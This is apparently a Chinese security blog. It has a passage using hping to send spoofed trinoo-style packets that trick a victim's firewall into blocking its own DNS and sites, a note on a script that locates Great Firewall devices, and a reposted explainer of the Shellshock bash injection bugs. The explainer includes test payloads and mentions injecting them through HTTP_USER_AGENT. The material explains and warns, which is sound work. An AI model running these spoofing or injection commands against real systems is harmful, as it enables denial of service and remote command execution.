--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
[root@ yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a
www.sina.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
---
上面的三个命令干了同一件事情,以伪造的ip发送假的trinoo攻击数据包.
结果:在目标主机上所有伪造的ip地址网络连接被block了,也就是对目标主机ip.add.of.victim而言,它的dns服务器,google和sina都无法访问了。
我很怀疑目前的个人防火墙只要存在auto-block功能,就存在这一问题。

2014年11月10日星期一

定位GFW的python脚本

github上有人释出了一个python脚本mongol.py,可以定位中国防火长城的物理位置和数量。
mongol.py以密歇根大学计算机系的Xueyang XuZ. Morley Mao在2011年发表的一篇论文为理论依据,发送“tibetalk“这个关键字来刺激防火墙,然后跟踪TCP报头的路由,找出RST数据包返回前最后一跳的位置,从而定位防火长城的物理位置。

这是目前得到的防火长城分布图。


How To Locate GFW Devices' IP Address,如何找到GFW设备的IP地址
这是国外的一个脚本,主要是通过scapy发送特定包,通过ttl来判断rst包的发送来源。相信这一方法 @xsser 会很熟悉。
具体原理可以参考这个PDF,或者去搜索下80sec某篇被河蟹的paper。
这是目前得到的gfw ip分布图:


实际上这个方式查出来的也不过是阻断点的位置。具体后面如何进行的,谁知道,但是起码阻断是通过3层做的,所以能够定位IP的。

2014年9月29日星期一

bash代码注入的安全漏洞

很多人或许对上半年发生的安全问题“心脏流血”(Heartbleed Bug)事件记忆颇深,这两天,又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后,美国电脑紧急应变中心(US-CERT)、红帽以及多家从事安全的公司于周三(北京时间9月24日)发出警告。 关于这个安全漏洞的细节可参看美国政府计算安全的这两个漏洞披露:CVE-2014-6271 和 CVE-2014-7169
这个漏洞其实是非常经典的“注入式攻击”,也就是可以向 bash注入一段命令,从bash1.14 到4.3都存在这样的漏洞。我们先来看一下这个安全问题的症状。

Shellshock (CVE-2014-6271)

下面是一个简单的测试:
1
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
如果你发现上面这个命令在你的bash下有这样的输出,那你就说明你的bash是有漏洞的:
1
2
Bash is vulnerable!
Bash Test
简单地看一下,其实就是向环境变量中注入了一段代码 echo Bash is vulnerable。关于其中的原理我会在后面给出。
很快,CVE-2014-6271的官方补丁出来的了——Bash-4.3 Official Patch 25

AfterShock – CVE-2014-7169 (又叫Incomplete fix to Shellshock)

但随后,马上有人在Twitter上发贴——说这是一个不完整的fix,并给出了相关的攻击方法。

也就是下面这段测试代码(注意,其中的sh在linux下等价于bash):
1
env X='() { (a)=>\' sh -c "echo date"; cat echo
上面这段代码运行起来会报错,但是它要的就是报错,报错后会在你在当前目录下生成一个echo的文件,这个文件的内容是一个时间文本。下面是上面 这段命令执行出来的样子。
1
2
3
4
5
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Sat Sep 27 22:06:29 CST 2014
这段测试脚本代码相当的诡异,就像“天书”一样,我会在后面详细说明这段代码的原理。

原理和技术细节

要说清楚这个原理和细节,我们需要从 bash的环境变量开始说起。
bash的环境变量
环境变量大家知道吧,这个不用我普及了吧。环境变量是操作系统运行shell中的变量,很多程序会通过环境变量改变自己的执行行为。在bash中要定义一个环境变量的语法很简单(注:=号的前后不能有空格):
1
$ var="hello world"
然后你就可以使用这个变量了,比如:echo $var什么的。但是,我们要知道,这个变量只是一个当前shell的“局部变量”,只在当前的shell进程中可以访问,这个shell进程fork出来的进程是访问不到的。
你可以做这样的测试:
1
2
3
4
5
$ var="hello coolshell"
$ echo $var
hello coolshell
$ bash
$ echo $var
上面的测试中,第三个命令执行了一个bash,也就是开了一个bash的子进程,你就会发现var不能访问了。
为了要让shell的子进程可以访问,我们需要export一下:
1
$ export var="hello coolshell"
这样,这个环境变量就会在其子进程中可见了。
如果你要查看一下有哪些环境变量可以在子进程中可见(也就是是否被export了),你可使用env命令。不过,env命令也可以用来定义export的环境变量。如下所示:
1
$ env $var="hello haoel"
有了这些基础知识还不够,我们还要知道一个基础知识——shell的函数。
bash的函数
在bash下定义一个函数很简单,如下所示:
1
2
3
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
有了上面的环境变量的基础知识后,你一定会想试试这个函数是否可以在子进程中调用,答案当然是不行的。
1
2
3
4
5
6
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ bash
$ foo
bash: foo: command not found
你看,和环境变量是一样的,如果要在子进程中可以访问的话,那么,还是一样的,需要export,export有个参数 -f,意思是export一个函数。如:
1
2
3
4
5
6
7
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ export -f foo
$ bash
$ foo
hello coolshell
好了,我讲了这么半天的基础知识,别烦,懂了这些,你才会很容易地理解这两个漏洞是怎么回事。
好,现在要进入正题。
bash的bug
从上面我们可以看到,bash的变量和函数用了一模一样的机制,如果你用env命令看一下export出来的东西,你会看到上面我们定义的变量和函数都在,如下所示(我省略了其它的环境变量):
1
2
3
4
$ env
var=hello coolshell
foo=() { echo "hello coolshell"
}
原来,都用同样的方式啊——无论是函数还是变量都是变量啊。于是,看都不用看bash的源代码,聪明的黑客就能猜得到——bash判断一个环境变量是不是一个函数,就看它的值是否以”()”开始。于是,一股邪念涌上心头。
黑客定义了这样的环境变量(注:() 和 { 间的空格不能少):
1
$ export X='() { echo "inside X"; }; echo "outside X";'
env一下,你会看到X已经在了:
1
2
$ env
X=(){ echo "inside X"; }; echo "outside X";
然后,当我们在当前的bash shell进程下产生一个bash的子进程时,新的子进程会读取父进程的所有export的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这会在父进程向子进程复制的过程中被执行吗?(关于fork相关的东西你可以看一下我以前写的《fork的一个面试题》)
答案是肯定的。
1
2
3
$ export X='() { echo "inside X"; }; echo "outside X";'
$ bash
outside X
你看,一个代码注入就这样完成了。这就是bash的bug—— 函数体外面的代码被默认地执行了
我们并不一定非要像上面那样创建另一个bash的子进程,我们可以使用bash -c的参数来执行一个bash子进程命令。就像这个安全漏洞的测试脚本一样:
1
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
其中,() { :;} 中的冒号就相当于/bin/true,返回true并退出。而bash -c其实就是在spawn一个bash的echo的子进程,用于触发函数体外的echo命令。所以,更为友好一点的测试脚本应该是:
1
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo 如果你看到了vulnerable字样说明你的bash有安全问题"
OK,你应该明白这个漏洞是怎么一回事了吧。

bash漏洞的影响有多大

在网上看到好多人说这个漏洞不大,还说这个事只有那些陈旧的执行CGI脚本的网站才会有,现在已经没有网站用CGI了。我靠,这真是无知者无畏啊。
我举个例子,如果你的网站中有调用操作系统的shell命令,比如你用PHP执行个exec之类的东西。这样的需求是有的,特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。
我们还知道,现在的HTTP服务器基本上都是以子进程式的,所以,其中必然会存在export 一些环境变量的事,而有的环境变量的值是从用户端来的,比如:HTTP_USER_AGENT这样的环境变量,只由浏览器发出的。其实这个变量你想写成什么就写成什么。
于是,我可以把这个HTTP_USER_AGENT的环境变量设置成上述的测试脚本,只不过,我会把echo Bash is vulnerable!这个东西换成别的更为凶残的命令。呵呵。
关于这个漏洞会影响哪些已有的系统,你可以自己Google,几乎所有的报告这个漏洞的文章都说了(比如:这篇这篇),我这里就不复述了。
注:如果你要看看你的网站有没有这样的问题,你可以用这个在线工具测试一下:‘ShellShock’ Bash Vulnerability CVE-2014-6271 Test Tool
现在,你知道这事可能会很大了吧。还不赶快去打补丁。(注,yum update bash 把bash版本升级到 4.1.2-15.el6_5.2 , )

关于 AfterShock – CVE-2014-7169 测试脚本的解释

很多同学没有看懂下面这个测试脚本是什么意思,我这里解释一下。
1
env X='() { (a)=>\' sh -c "echo date"; cat echo
  • X='() { (a)=>\’ 这个不用说了,定义一个X的环境变量。但是,这个函数不完整啊,是的,这是故意的。另外你一定要注意,\’不是为了单引号的转义,X这个变量的值就是 () { (a)=>\
  • 其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误)。
  • 语法出错后,在缓冲区中就会只剩下了 “>\”这两个字符。
  • 于是,这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行。
相当于在shell 下执行了下面这个命令:
1
2
$ >\
echo date
如果你了解bash,你会知道 \ 是用于命令行上换行的,于是相当于执行了:
1
$ >echo date
这不就是一个重定向么?上述的命令相当于:
1
$ date > echo
于是,你的当前目录下会出现一个echo的文件,这个文件的内容就是date命令的输出。
能发现这个种玩法的人真是个变态,完全是为bash的源代码量身定制的一个攻击
(全文完)

本文转载自:酷壳 原文地址:bash代码注入的安全漏洞